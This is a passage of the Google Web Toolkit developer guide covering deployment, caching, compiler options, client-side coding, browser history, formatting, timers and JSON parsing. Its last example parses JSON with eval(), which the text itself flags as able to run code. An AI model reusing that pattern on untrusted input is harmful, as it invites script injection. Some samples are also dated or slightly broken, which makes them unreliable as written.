The host HTML page The host HTML page is the first page your clients should visit when they browse to your application and is also where the rest of your application files are loaded from. To load your application, the host HTML page must contain a <script> tag referencing your GWT application bootstrap file (described below). You would typically include a <link> tag referencing your application CSS file as well, unless you inject the stylesheet directly by adding the <stylesheet> tag to your module XML file. You could also load the script from anywhere else in a website, but the default start page is typically the entry point that developers use to load their GWT applications. The host page from the Hello starter sample application mentioned above is shown below.
<html> <head> <meta http-equiv="content-type" content="text/html; charset=UTF-8"> <link type="text/css" rel="stylesheet" href="Hello.css"> <title></title> </head> <body> <script type="text/javascript" language='javascript' src='hello/hello.nocache.js'></script> <!-- Along with page title and table headers defined --> </body> </html>

The Bootstrap File You may have noticed that one of the generated files is named after your module, followed by a .nocache.js suffix. This is the GWT bootstrap file. Similar to the output subdirectory war/<app_name>, the name of this file is also controlled by the rename-to attribute in your module XML file. This file is responsible for choosing the correct version of your application to load for your client based on their browser and locale, or any other custom selection rule (see Deferred Binding). The various versions of your application compliant to each browser / locale are the <md5>.cache.html application files (discussed below). The host HTML page references this file so that clients visiting your page first download the bootstrap, and the bootstrap script in turn figures out which browser environment it is running in and determines the appropriate version of your application to load. See the documentation on the bootstrap process for more details. Application Files The <md5>.cache.html files generated in the war/<app_name> directory, along with the bootstrap script, are the most important part of the generated fileset. They represent one version of your application tailored to a specific browser (or locale). These are the application files that the bootstrap script selects after it determines which browser it's running on. Another generated application file that isn't strictly necessary to deploy your GWT application, but required if you're using GWT RPC and the support for the Serializable interface for types transferred through RPC, is the <md5>.gwt.rpc file. The serialization policy file must be accessible by your RPC RemoteServiceServlet via the ServletContext.getResource() call.

Public Resources
All public resources, such as image files, stylesheets or XML files, can be placed anywhere under the war directory or any subdirectory therein during development. As long as references to these resources in your GWT application code hold when deployed, you can expect your application to work properly in production. In GWT 1.6 and later, the <public> tag is still respected, so you can place public resources in a public directory, as defined in your module XML file, and these resources will be copied into the war/<app_name> folder. However, the best practice would be to place public resources in the war directory and work with them from that location. This complies with the standard Servlet 2.5 API specification, and makes it easier to deploy your application if you're planning to deploy on a servlet container. If you're using ClientBundle in your application, the generated bundles are placed in the war/<app_name> directory after compilation.

Perfect Caching
Among other optimization and performance improvement techniques, GWT also offers the concept of "Perfect Caching", which you can take advantage of if you deploy your application correctly. You may have noticed that the bootstrap script filename contains a .nocache.js suffix, whereas the rest of the GWT 186 / 469

application files contain a .cache.html suffix. These are meant as indicators that you can use to configure your web server to implement perfect caching. The bootstrap script is named after a well-known application name (<app_name>.nocache.js), while the GWT application files all contain md5 sums in their names. Those md5 sums are computed from your GWT codebase at the time of compilation. The bootstrap script contains a lookup table that selects the right <md5>.cache.html file when your client first visits your site and loads up your GWT application. The bootstrap process is explained in greater detail here. The fact that the application filenames will always change if your codebase changes means that your clients can safely cache these resources and don't need to refetch the GWT application files each time they visit your site. The resource that should never be completely cached (an If-Modified-Since fetch is sufficient and saves bandwidth) is the bootstrap script, since it contains the logic necessary to lookup the correct application file. If you were to configure these rules on an Apache HTTP server, you might get something like this in your .htaccess config file, using both mod_expires and mod_headers:
<Files *.nocache.*> ExpiresActive on ExpiresDefault "now" Header merge Cache-Control "public, max-age=0, must-revalidate" </Files> <Files *.cache.*> ExpiresActive on ExpiresDefault "now plus 1 year" </Files>

GWT Compiler Options
There are many options you can pass to the GWT compiler process to control how you want to compile your GWT application and where you want the output to be generated. These options can differ slightly from version to version, but will generally include the options shown in the command-line help text below:
java -cp gwt-dev.jar com.google.gwt.dev.Compiler Missing required argument 'module[s]' Google Web Toolkit 2.3.0 Compiler [-logLevel level] [-workDir dir] [-gen dir] [-style style] [-ea] [-XdisableClassMetadata] [-XdisableCastChecking] [-validateOnly] [-draftCompile] [-optimize level] [-compileReport] [strict] [-localWorkers count] [-war dir] [-deploy dir] [-extra dir] module[s] where -logLevel The level of logging detail: ERROR, WARN, INFO, TRACE, DEBUG, SPAM, or ALL -workDir The compiler's working directory for internal use (must be writeable; defaults to a system temp dir) -gen Debugging: causes normally-transient generated types to be saved in the specified directory -style Script output style: OBF[USCATED], PRETTY, or DETAILED (defaults to OBF) -ea Debugging: causes the compiled output to check assert statements -XdisableClassMetadata EXPERIMENTAL: Disables some java.lang.Class methods (e.g. getName()) -XdisableCastChecking EXPERIMENTAL: Disables run-time checking of cast operations -validateOnly Validate all source code, but do not compile -draftCompile Enable faster, but less-optimized, compilations -optimize Sets the optimization level used by the compiler. 0=none 9=maximum. -compileReport Create a compile report that tells the Story of Your Compile -strict Only succeed if no input files have errors -localWorkers The number of local workers to use when compiling permutations -war The directory into which deployable output files will be written (defaults to 'war') -deploy The directory into which deployable but not servable output files will be written (defaults to 'WEB-INF/deploy' under the -war directory/jar, and may be the same as the -extra directory/jar) -extra The directory into which extra files, not intended for deployment, will be written and module[s] Specifies the name(s) of the module(s) to compile

Any time you want to look up GWT compiler options available for your version of GWT, you can simply invoke the Compiler class from command-line as shown above and it will list out the options available along with their descriptions. (Run the command from the directory containing gwt-dev.jar or add the path ahead of that file: -cp path/gwtdev.jar.)

187 / 469

4.3.

Coding Basics

Client-side code
Client-side code describes how to create an entry point into a client-side application — code that executes when the user starts the application. When your application is sent across a network to a user, it runs as JavaScript inside their web browser.

Compatibility with the Java Language and Libraries
Compatibility with the Java Language and Libraries describes the differences in syntax and semantics between GWT and the core Java language. It is important to remember that the target language of your GWT application is ultimately JavaScript, so there are some differences between running your application in development mode and production mode (previously known as hosted mode and web mode, respectively).

History
History describes how to integrate Ajax applications with the browser history. Ajax applications sometimes fail to meet user's expectations because they do not interact with the browser in the same way as static web pages. It is often apparent — and frustrating for users — when an Ajax application does not integrate with browser history. For example, users expect browsers to be able to navigate back to previously visited pages using back and forward actions. Because an Ajax application is a usually a single page running JavaScript logic and not a series of pages, the browser history needs help from the application to support this use case. GWT's history mechanism makes history support fairly straightforward.

Number and Date Formatting
Number and Date Formatting describes how to format numbers and dates in GWT. GWT does not provide full emulation for the date and number formatting classes (such as java.text.DateFormat, java.text.DecimalFormat, java.text.NumberFormat, and java.TimeFormat). Instead, a subset of the functionality of the JRE classes is provided by com.google.gwt.i18n.client.NumberFormat and com.google.gwt.i18n.client.DateTimeFormat. The major difference between the standard Java classes and the GWT classes is the ability to switch between different locales for formating dates and numbers at runtime. In GWT, the deferred binding mechanism is used to load only the logic needed for the current locale into the application.

Programming Delayed Logic
Programming Delayed Logic describes how to defer running code until a later point in time using three classes: Timer, DeferredCommand, and IncrementalCommand. This is useful for scheduling an activity for some time in the future, periodically querying the server or updating the interface, queuing up work to do that must wait for other initialization to finish, and performing a large amount of computation.

Working with JSON
Many AJAX application developers have adopted JSON as the data format of choice for server communication. It is a relatively simple format that is based on the object-literal notation of JavaScript. Working with JSON explains how you can use JSON-encoded data within your application, GWT contains classes you can use to parse and manipulate JSON objects, as well as the very useful and elegant concept of JavaScript Overlay Types.

Working with XML
Extensible Markup Language (XML) is a data format commonly used in modern web applications. XML uses custom tags to describe data and is encoded as plain text, making it both flexible and easy to work with. Working with XML describes the GWT class library set of types designed for processing XML data.

JavaScript Native Interface (JSNI)
Often, you will need to integrate GWT with existing handwritten JavaScript or with a third-party JavaScript library.

188 / 469

Occasionally you may need to access low-level browser functionality not exposed by the GWT class API's. The JavaScript Native Interface (JSNI) feature of GWT can solve both of these problems by allowing you to integrate JavaScript directly into your application's Java source code.

JavaScript Overlay Types
Suppose you're happily using JSNI to call bits of handwritten JavaScript from within your GWT module. It works well, but JSNI only works at the level of individual methods. Some integration scenarios require you to more deeply intertwine JavaScript and Java objects — DOM and JSON programming are two good examples — and so what we really want is a way to interact directly with JavaScript objects from our Java source code. In other words, we want JavaScript objects that look like Java objects when we're coding. JavaScript Overlay Types make it easy to integrate entire families of JavaScript objects into your GWT project. There are many benefits of this technique, including the ability to use your Java IDE's code completion and refactoring capabilities even as you're working with untyped JavaScript objects.

Deferred Binding
Deferred Binding is a feature of the GWT compiler that works by generating many versions of code at compile time, only one of which needs to be loaded by a particular client during bootstrapping at runtime. Each version is generated on a per browser basis, along with any other axis that your application defines or uses. For example, if you were to internationalize your application using GWT's Internationalization module, the GWT compiler would generate various versions of your application per browser environment, such as "Firefox in English", "Firefox in French", "Internet Explorer in English", and so forth. As a result, the deployed JavaScript code is compact and quicker to download than hand coded JavaScript, containing only the code and resources it needs for a particular browser environment.

4.3.1.

Client-Side Code

Your application is sent across a network to a user where it runs as JavaScript inside their web browser. Everything that happens within the user's web browser is referred to as client-side processing. When you write client-side code that is intended to run in the web browser, remember that it ultimately becomes JavaScript. Thus, it is important to use only libraries and Java language constructs that can be translated into JavaScript. 1. Creating an EntryPoint Class 2. Hello World Example

Creating an EntryPoint Class
To begin writing a GWT module, subclass the EntryPoint class. Tip: GWT applicationCreator creates a starter application for you with a sample EntryPoint subclass defined.

package com.example.foo.client; import com.google.gwt.core.client.EntryPoint; import com.google.gwt.core.client.GWT; /** * Entry point classes define onModuleLoad(). */ public class Foo implements EntryPoint { /** * This is the entry point method. Initialize you GWT module here. */ public void onModuleLoad() { // Writes Hello World to the module log window. GWT.log("Hello World!", null); } }

189 / 469

Writing the entry point method
The entry point method is onModuleLoad(). It contains the code that executes when you launch the application. Typically, the types of things you do in the onModuleLoad() method are: • • • create new user interface components set up handlers for events modify the browser DOM in some way

The example above logs a message to the development mode console. If you try to run this example application in production mode, you won't see anything because the GWT.log() method is compiled away when the client-side code is translated into JavaScript.

Hello World Example
Included with the GWT distribution is a sample "Hello World" program that looks like this when run in development mode:

190 / 469

package com.google.gwt.sample.hello.client; import com.google.gwt.core.client.EntryPoint; import com.google.gwt.event.dom.client.ClickEvent; import com.google.gwt.event.dom.client.ClickHandler; import com.google.gwt.user.client.Window; import com.google.gwt.user.client.ui.Button; import com.google.gwt.user.client.ui.RootPanel; import com.google.gwt.user.client.ui.Widget; /** * Hello World application. */ public class Hello implements EntryPoint { public void onModuleLoad() { Button b = new Button("Click me", new ClickHandler() { public void onClick(ClickEvent event) { Window.alert("Hello, AJAX"); } }); RootPanel.get().add(b); } }

In the entry point method for the Hello World application, the following actions were taken: • • • • a new Button widget was created with the text "Click me" a handler was created to respond to the user clicking the button the handler pops up an Alert dialog the button is added to the Root panel

4.3.2.
1. 2. 3. 4.

Compatibility with the Java Language and Libraries

Language support Runtime library support Differences between JRE and emulated classes Classes that provide similar functionality

Language support
GWT supports most of the core Java language syntax and semantics, but there are a few differences you will want to be aware of. Note: As of GWT 1.5, GWT compiles the Java language syntax that is compatible with J2SE 1.5 or earlier. Versions of GWT prior to GWT 1.5 are limited to Java 1.4 source compatibility. For example, GWT 2.0 supports generics, whereas GWT 1.4 does not. It is important to remember that the target language of your GWT application is ultimately JavaScript, so there are some differences between running your application in development mode and production mode (previously known as hosted mode and web mode, respectively): • Intrinsic types: Primitive types (boolean, byte, char, short, int, long, float, and double), Object, String, arrays, user-defined classes, etc. are all supported, with a couple of caveats. • Arithmetic: In JavaScript, the only available numeric type is a 64-bit floating point value. All Java primitive numeric types (except for long, see below), are therefore implemented in production mode as if on doubles. Primarily, that means overflowing an integral data type (byte, char, short, int) will not wrap the underlying value as Java specifies. Instead, the resulting value will outside of the legal range for that data type. Operations on float are performed as double and will result in more-thanexpected precision. Integer division is implemented to explicitly round to the correct value. long: JavaScript has no 64-bit integral type, so long needs special consideration. Prior to GWT 1.5, the long type was was simply mapped to the integral range of a 64-bit JavaScript floating-point value, giving long variables an actual range less than the full 64 bits. As of GWT 1.5, long primitives are emulated as a pair of 32-bit integers, and work reliably over the entire 64-bit range. Overflow is emulated to match the expected behavior. There are a couple of caveats. Heavy use of long operations will have a performance impact due to the underlying emulation. Additionally, long primitives cannot be used in JSNI code because they are not a native JavaScript numeric type. 191 / 469

Exceptions: try, catch, finally and user-defined exceptions are supported as normal, although Throwable.getStackTrace() is not meaningfully supported in production mode. Note: Several fundamental exceptions implicitly produced by the Java VM, most notably NullPointerException, StackOverflowError, and OutOfMemoryError, do not occur in production mode as such. Instead, a JavaScriptException is produced for any implicitly generated exceptions. This is because the nature of the underlying JavaScript exception cannot be reliably mapped onto the appropriate Java exception type.

Assertions: assert statements are always active in development mode because it's a great way for GWT libraries to provide lots of helpful error checking while you're debugging. The GWT compiler removes and ignores all assertions by default, but you can enable them in production mode by specifying the -ea flag to Compiler. Multithreading and Synchronization: JavaScript interpreters are single-threaded, so while GWT silently accepts the synchronized keyword, it has no real effect. Synchronization-related library methods are not available, including Object.wait(), Object.notify(), and Object.notifyAll(). The compiler will ignore the synchronized keyword but will refuse to compile your code if the Object's related synchronization methods are invoked. Reflection: For maximum efficiency, GWT compiles your Java source into a monolithic script, and does not support subsequent dynamic loading of classes. This and other optimizations preclude general support for reflection. However, it is possible to query an object for its class name using Object.getClass().getName(). Finalization: JavaScript does not support object finalization during garbage collection, so GWT is not able to be honor Java finalizers in production mode. Strict Floating-Point: The Java language specification precisely defines floating-point support, including single-precision and double-precision numbers as well as the strictfp keyword. GWT does not support the strictfp keyword and can not ensure any particular degree of floating-point precision in translated code, so you may want to avoid calculations in client-side code that require a guaranteed level of floating-point precision.

• •

Runtime library support
GWT supports only a small subset of the classes available in the Java 2 Standard and Enterprise Edition libraries, as these libraries are quite large and rely on functionality that is unavailable within web browsers. To find out exactly which classes and methods are supported for core Java runtime packages, see the GWT JRE Emulation Reference. Tip: You will save yourself a lot of frustration if you make sure that you use only translatable classes in your clientside code from the very beginning. To help you identify problems early, your code is checked against the JRE emulation library whenever you run in development mode. As a result, most uses of unsupported libraries will be caught the first time you attempt to run your application. So, run early and often.

Differences between JRE and emulated classes
Some specific areas in which GWT emulation differs from the standard Java runtime: • Regular Expressions: The syntax of Java regular expressions is similar, but not identical, to JavaScript regular expressions. For example, the replaceAll and split methods use regular expressions. So, you will probably want to be careful to only use Java regular expressions that have the same meaning in JavaScript. Serialization: Java serialization relies on a few mechanisms that are not available in compiled JavaScript, such as dynamic class loading and reflection. As a result, GWT does not support standard Java serialization. Instead, GWT has an RPC facility that provides automatic object serialization to and from the server for the purpose of invoking remote methods. Note: For a list of JRE classes that GWT can translate out of the box, see the GWT JRE Emulation Reference.

192 / 469

Classes that provide similar functionality
In some classes, the functionality of the class is too expensive to be emulated entirely, so a similar routine in another package is provided instead. Here are some commonly used routines that provide a subset of the native JRE functionality: • • • • com.google.gwt.i18n.client.DateTimeFormat : Supports a subset of java.util.DateTimeFormat. See examples in the date and number formatting section. com.google.gwt.i18n.client.NumberFormat : Supports a subset of java.util.NumberFormat. See examples in the date and number format section. com.google.gwt.user.client.rpc : A marker class used similarly to java.io.Serializable for GWT RPC. com.google.gwt.user.client.Timer : A simplified, browser-safe timer class. This class serves the same purpose as java.util.Timer, but is simplified because of the single-threaded environment.

4.3.3.

History

Ajax applications sometimes fail to meet user's expectations because they do not interact with the browser in the same way as static web pages. This is often apparent — and frustrating for users — when an Ajax application does not integrate with browser history. For example, users expect browsers to be able to navigate back to previous pages visited using back and forward actions. Because an Ajax application is a usually single page running JavaScript logic and not a series of pages, the browser history needs help from the application to support this use case. Thankfully, GWT's history mechanism makes history support fairly straightforward. 1. 2. 3. 4. 5. 6. The GWT History Mechanism History Tokens Example Hyperlink Widgets Stateful applications Handling an onValueChange() callback

The GWT History Mechanism
GWT's History mechanism has a lot in common with other Ajax history implementations, such as RSH (Really Simple History). The basic premise is to keep track of the application's "internal state" in the url fragment identifier. This works because updating the fragment doesn't typically cause the page to be reloaded. This approach has several benefits: • • • It's about the only way to control the browser's history reliably. It provides good feedback to the user. It's "bookmarkable". I.e., the user can create a bookmark to the current state and save it, email it, et cetera.

History Tokens
GWT includes a mechanism to help Ajax developers activate browser history. For each page that is to be navigable in the history, the application should generate a unique history token. A token is simply a string that the application can parse to return to a particular state. This token will be saved in browser history as a URL fragment (in the location bar, after the "#"), and this fragment is passed back to the application when the user goes back or forward in history, or follows a link. For example, a history token named "page1" would be added to a URL as follows: http://www.example.com/com.example.gwt.HistoryExample/HistoryExample.html#page1 When the application wants to push a placeholder onto the browser's history stack, it simply invokes History.newItem(token). When the user uses the back button, a call will be made to any object that was added as a handler with History.addValueChangeHandler(). It is up to the application to restore the state according to the value of the new token.

193 / 469

Example
To use GWT History support, you must first embed an iframe into your host HTML page.
<iframe src="javascript:''" id="__gwt_historyFrame" style="width:0;height:0;border:0"></iframe>

Then, in your GWT application, perform the following steps: • • Add a history token to the history stack when you want to enable a history event. Create an object that implements the ValueChangeHandler interface, parses the new token (available by calling ValueChangeEvent.getValue()) and changes the application state to match.

The following short example shows how to add a history event each time the user selects a new tab in a TabPanel.
import com.google.gwt.core.client.EntryPoint; import com.google.gwt.event.logical.shared.SelectionEvent; import com.google.gwt.event.logical.shared.SelectionHandler; import com.google.gwt.event.logical.shared.ValueChangeEvent; import com.google.gwt.event.logical.shared.ValueChangeHandler; import com.google.gwt.user.client.History; import com.google.gwt.user.client.ui.HTML; import com.google.gwt.user.client.ui.RootPanel; import com.google.gwt.user.client.ui.TabPanel; /** * Entry point classes define <code>onModuleLoad()</code>. */ public class BrowserHistoryExample implements EntryPoint { TabPanel tabPanel; /** * This is the entry point method. */ public void onModuleLoad() { tabPanel = new TabPanel(); tabPanel.add(new HTML("<h1>Page 0 Content: Llamas</h1>"), " Page 0 "); tabPanel.add(new HTML("<h1>Page 1 Content: Alpacas</h1>"), " Page 1 "); tabPanel.add(new HTML("<h1>Page 2 Content: Camels</h1>"), " Page 2 "); tabPanel.addSelectionHandler(new SelectionHandler<Integer>(){ public void onSelection(SelectionEvent<Integer> event) { History.newItem("page" + event.getSelectedItem()); }}); History.addValueChangeHandler(new ValueChangeHandler<String>() { public void onValueChange(ValueChangeEvent<String> event) { String historyToken = event.getValue(); // Parse the history token try { if (historyToken.substring(0, 4).equals("page")) { String tabIndexToken = historyToken.substring(4, 5); int tabIndex = Integer.parseInt(tabIndexToken); // Select the specified tab panel tabPanel.selectTab(tabIndex); } else { tabPanel.selectTab(0); } } catch (IndexOutOfBoundsException e) { tabPanel.selectTab(0); } } }); tabPanel.selectTab(0); RootPanel.get().add(tabPanel); } }

Hyperlink Widgets
Hyperlinks are convenient to use to incorporate history support into an application. Hyperlink widgets are GWT widgets that look like regular HTML anchors. You can associate a history token with the Hyperlink, and when it is clicked, the history token is automatically added to the browser's history stack. The History.newItem(token) step is done automatically.

194 / 469

Stateful applications
Special care must be taken in handling history for applications that store state. Enough information must be coded into the history token to restore the application state back to the point at which the history token was set. The application must also be careful to clear away any state not relevant to navigating back to a previously visited page. As an example, an application that presents a multi-page questionnaire could encode the page number as a token as well as some other states. When a new page in the questionnaire is presented, a history token is added to the history stack. Note that with stateful applications, such as a questionnaire, some careful thought needs to be given to implementing the history callback. When returning to a page using a token, some logic needs to restore the previous state.

Token "info" "page1" "page2" "page"

Action Navigate to page where user enters biographic info. Restore previously entered data Navigate to page 1 in the questionnaire. Restore previous answers. Navigate to page 2 in the questionnaire. Restore previous answers. Navigate to page

<n>

<n>
...

"end"

Navigate to the end of the questionnaire. Validate that all questions were answered. Make sure not to re-submit the questionnaire.

In the above case, navigating back to a page would be possible, but there isn't enough information in the history token to restore the user's previous answers. A better encoding for the token would be a syntax such as:
page=<pagename>;session=<sessionname>

Where <pagename> tells the application which page to go to and <sessionname> is a key to finding the user's previously entered data in a database.

Handling an onValueChange() callback
The first step of handling the onValueChange() callback method in a ValueChangeHandler is to get the new history token with ValueChangeEvent.getValue(); you'll then want to parse the token. Keep in mind that your parsing needs to be robust! A user may type a URL by hand or have a URL stored from an old version of your application. Once the token is parsed, you can reset the state of the application. When the onValueChange() method is invoked, your application must handle two cases: 1. The application was just started and was passed a history token. 2. The application is already running and was passed a history token. In the first case, the application must properly initialize itself before handing the state token. In the second case, some parts of the application may need to be re-initialized.

195 / 469

4.3.4.

Number and Date Formatting

GWT does not provide full emulation for the date and number formatting classes (java.text.DateFormat, java.text.DecimalFormat, java.text.NumberFormat, java.TimeFormat, et cetera). Instead, a subset of the functionality of the JRE classes is provided by com.google.gwt.i18n.client.NumberFormat and com.google.gwt.i18n.client.DateTimeFormat. The major difference between the standard Java classes and the GWT classes is the ability to switch between different locales for formating dates and numbers at runtime. In GWT, the deferred binding mechanism is used to load only the logic needed for the current locale into the application. In order to use the NumberFormat or DateTimeFormat classes, you should update your module XML file with the following inherits line:
<inherits name="com.google.gwt.i18n.I18N"/>

See the internationalization topic for more information about setting up locale. 1. Using NumberFormat 2. Using DateTimeFormat

Using NumberFormat
When using the NumberFormat class, you do not instantiate it directly. Instead, you retrieve an instance by calling one of its static get...Format() methods. For most cases, you probably want to use the default decimal format:
NumberFormat fmt = NumberFormat.getDecimalFormat(); double value = 12345.6789; String formatted = fmt.format(value); // Prints 1,2345.6789 in the default locale GWT.log("Formatted string is" + formatted, null);

The class can also be used to convert a numeric string back into a double:
double value = NumberFormat.getDecimalFormat().parse("12345.6789"); GWT.log("Parsed value is" + value, null);

The NumberFormat class also provides defaults for scientific notation:
double value = 12345.6789; String formatted = NumberFormat.getScientificFormat().format(value); // prints 1.2345E4 in the default locale GWT.log("Formatted string is" + formatted, null);

Note that you can also specify your own pattern for formatting numbers. In the example below, we want to show 6 digits of precision on the right hand side of the decimal and format the left hand side with zeroes up to the hundred thousands place:
double value = 12345.6789; String formatted = NumberFormat.getFormat("000000.000000").format(value); // prints 012345.678900 in the default locale GWT.log("Formatted string is" + formatted, null);

Here are the most commonly used pattern symbols for decimal formats:

196 / 469

Symbol 0 # . ,

Meaning Digit, zero forced Digit, zero shows as absent Decimal separator or monetary decimal separator Minus sign Grouping separator

Specifying an invalid pattern will cause the NumberFormat.getFormat() method to throw an java.lang.IllegalArgumentException. The pattern specification is very rich. Refer to the class documentation for the full set of features. If you will be using the same number format pattern more than once, it is most efficient to cache the format handle returned from NumberFormat.getFormat(pattern).

Using DateTimeFormat
GWT provides the DateTimeFormat class to replace the functionality of the DateFormat and TimeFormat classes from the JRE. For the DateTimeFormat class, there are a large number of default formats defined.
Date today = new Date(); // prints Tue Dec 18 12:01:26 GMT-500 2007 in the default locale. GWT.log(today.toString(), null); // prints 12/18/07 in the default locale GWT.log(DateTimeFormat.getShortDateFormat().format(today), null); // prints December 18, 2007 in the default locale GWT.log(DateTimeFormat.getLongDateFormat().format(today), null); // prints 12:01 PM in the default locale GWT.log(DateTimeFormat.getShortTimeFormat().format(today), null); // prints 12:01:26 PM GMT-05:00 in the default locale GWT.log(DateTimeFormat.getLongTimeFormat().format(today), null); // prints Dec 18, 2007 12:01:26 PM in the default locale GWT.log(DateTimeFormat.getMediumDateTimeFormat().format(today), null);

Like the NumberFormat class, you can also use this class to parse a date from a String into a Date representation. You also have the option of using the default formats for date and time combinations, or you may build your own using a pattern string. See the DateTimeFormat class documentation for specifics on how to create your own patterns. Be cautious when straying from the default formats and defining your own patterns. Displaying dates and times incorrectly can be extremely aggravating to international users. Consider the date: 12/04/07 In some countries this is understood to mean the date December 4th, 2007 in others, it would be April 12th, 2007, in yet another locale, it might mean April 7th, 2012. For displaying in a common format such as this, use the default formats and let the localization mechanism in the DateTimeFormat do the work for you.

197 / 469

4.3.5.
• • • •

Programming Delayed Logic

Do you need to do any of the following? schedule an activity for some time in the future periodically query the server or update the interface queue up work to do that must wait for other initialization to finish perform a large amount of computation

GWT provides three classes that you can use to defer running code until a later point in time: Timer, DeferredCommand, and IncrementalCommand. 1. Scheduling work: the Timer class • Creating Timeout Logic • Periodically Running Logic 2. Deferring some logic into the immediate future: the DeferredCommand class 3. Avoiding Slow Script Warnings: the IncrementalCommand class

Scheduling work: the Timer class
Use the Timer class to schedule work to be done in the future. To create a timer, create a new instance of the Timer class and then override the run() method entry point.
Timer timer = new Timer() { public void run() { Window.alert ("Timer expired!"); } }; // Execute the timer to expire 2 seconds in the future timer.schedule(2000);

Notice that the timer will not have a chance to execute the run() method until after control returns to the JavaScript event loop.

Creating Timeout Logic
One typical use for a timer is to timeout a long running command. There are a few rules of thumb to remember in this situation: • • • • Store the timer in an instance variable. Always check to see that the timer is not currently running before starting a new one. (Check the instance variable to see that it is null.) Remember to cancel the timer when the command completes successfully. Always set the instance variable to null when the command completes or the timer expires.

Below is a an example of using a timeout with a Remote Procedure Call (RPC).

198 / 469

import com.google.gwt.user.client.Timer; import com.google.gwt.user.client.Window; import com.google.gwt.user.client.rpc.AsyncCallback; public class Foo { // A keeper of the timer instance in case we need to cancel it private Timer timeoutTimer = null; // An indicator when the computation should quit private boolean abortFlag = false; static final int TIMEOUT = 30; // 30 second timeout void startWork () { // ... // Check to make sure the timer isn't already running. if (timeoutTimer != null) { Window.alert("Command is already running!"); return; } // Create a timer to abort if the RPC takes too long timeoutTimer = new Timer() { public void run() { Window.alert("Timeout expired."); timeoutTimer = null; abortFlag = true; } }; // (re)Initialize the abort flag and start the timer. abortFlag = false; timeoutTimer.schedule(TIMEOUT * 1000); // timeout is in milliseconds // Kick off an RPC myService.myRpcMethod(arg, new AsyncCallback() { public void onFailure(Throwable caught) { Window.alert("RPC Failed:" + caught); cancelTimer(); } public void onSuccess(Object result) { cancelTimer(); if (abortFlag) { // Timeout already occurred. discard result return; } Window.alert ("RPC returned: "+ (String)result); } } } // Stop the timeout timer if it is running private void cancelTimer() { if (timeoutTimer != null) { timeoutTimer.cancel(); timeoutTimer = null; } } }

Periodically Running Logic
In order to keep a user interface up to date, you sometimes want to perform an update periodically. You might want to run a poll to the server to check for new data, or update some sort of animation on the screen. In this case, use the Timer class scheduleRepeating() method:

199 / 469

public class Foo { // A timer to update the elapsed time count private Timer elapsedTimer; private Label elapsedLabel = new Label(); private long startTime; public Foo () { // ... Add elapsedLabel to a Panel ... // Create a new timer elapsedTimer = new Timer () { public void run() { showElapsed(); } }; startTime = System.currentTimeMillis(); // Schedule the timer for every 1/2 second (500 milliseconds) elapsedTimer.scheduleRepeating(500); // ... The elapsed timer has started ... } /** * Show the current elapsed time in the elapsedLabel widget. */ private void showElapsed () { double elapsedTime = (System.currentTimeMillis() - startTime) / 1000.0; NumberFormat n = NumberFormat.getFormat("#,##0.000"); elapsedLabel.setText("Elapsed: " + n.format(elapsedTime)); } }

Deferring some logic into the immediate future: the DeferredCommand class
Sometimes you want to break up your logic loop so that the JavaScript event loop gets a chance to run between two pieces of code. The DeferredCommand class will allow you to do that. The logic that you pass to DeferredCommand will run at some point in the future, after control has been returned to the JavaScript event loop. This little delay may give the interface a chance to process some user events or initialize other code. To use the DeferredCommand class in its simplest form, you create a subclass of the Command class, overriding the execute() method and pass it to DeferredCommand.addCommand().
TextBox dataEntry; // Set the focus on the widget after setup completes. DeferredCommand.addCommand(new Command() { public void execute () { dataEntry.setFocus(); } } dataEntry = new TextBox();

Avoiding Slow Script Warnings: the IncrementalCommand class
AJAX developers need to be aware of keeping the browser responsive to the user. When JavaScript code is running, user interface components like buttons and text areas will not respond to user input. If the browser were to allow this to continue, the user might think the browser is "hung" and be tempted to restart it. But browsers have a built-in defense mechanism, the unresponsive script warning.

Any script that runs without returning control to the JavaScript main event loop for more than 10 seconds or so runs the 200 / 469

risk of having the browser popup this dialog to the user. The dialog is there because a poorly written script might have an infinite loop or some other bug that is keeping the browser from responding. But in AJAX applications, the script may be doing legitimate work. GWT provides an IncrementalCommand class that helps perform long running calculations. It works by repeatedly calling an 'execute()' entry point until the computation is complete. The following example is an outline of how to use the IncrementalCommand class to do some computation in a way that allows the browser's user interface to be responsive:
public class IncrementalCommandTest implements EntryPoint { // Number of times doWork() is called static final int MAX_LOOPS = 10000; // Tight inner loop in doWork() static final int WORK_LOOP_COUNT = 50; // Number of times doWork() is called in IncrementalCommand before // returning control to the event loop static final int WORK_CHUNK = 100; // A button to kick off the computation Button button; public void onModuleLoad() { button = new Button("Start Computation"); button.addClickHandler(new ClickHandler () { public void onClick(ClickEvent event) { doWorkIncremental(); } } } /** * Create a IncrementalCommand instance that gets called back every so often * until all the work it has to do is complete. */ private void doWorkIncremental () { // Turn off the button so it won't start processing again. button.setEnabled(false); IncrementalCommand ic = new IncrementalCommand(){ int counter = 0; public boolean execute() { for (int i=0;i<WORK_CHUNK;i++) { counter++; result += doWork(); // If we have done all the work, exit with a 'false' // return value to terminate further execution. if (counter == MAX_LOOPS) { // Re-enable button button.setEnabled(true); // ... other end of computation processing ... return false; } } // Call the execute function again. return true; } }; // Schedule the IncrementalCommand instance to run when // control returns to the event loop by returning 'true' DeferredCommand.addCommand(ic); } /** * Routine that keeps the CPU busy for a while. * @return an integer result of the calculation */ private int doWork() { int result; // ... computation... return result; }

201 / 469

4.3.6.

Working with JSON

Many AJAX application developers have adopted JSON as the data format of choice for server communication. It is a relatively simple format based on the object-literal notation of JavaScript. If you choose to use JSON-encoded data within your application, you can use GWT classes to parse and manipulate JSON objects, as well as the very useful and elegant concept of JavaScript Overlay Types. The JSON format is based on the syntax and data types of the JavaScript language. It supports strings, numbers, booleans, and null values. You can also combine multiple values into arrays and objects. JSON objects are simply unordered sets of name/value pairs, where the name is always a string and the value is any other valid JSON type (even another object). Here's an example of encoding product data in JSON:
{

}

"product": { "name": "Widget", "company": "ACME, Inc", "partNumber": "7402-129", "prices": [ { "minQty": 1, "price": 12.49 }, { "minQty": 10, "price": 9.99 }, { "minQty": 50, "price": 7.99 } ] }

See json.org/example.html for more JSON examples. 1. Parsing JSON 2. Mashups with JSON and JSNI

Parsing JSON
You can parse JSON Strings and convert them to a JavaScriptObject in GWT with a simple one liner JSNI method. However, you need to be careful since eval() in JavaScript can actually run code, so you need to absolutely trust the JSON String that you evaluate.
/* * Takes in a trusted JSON String and evals it. * @param JSON String that you trust * @return JavaScriptObject that you can cast to an Overlay Type */ public static native JavaScriptObject parseJson(String jsonStr) /*-{ return eval(jsonStr); }-*/;

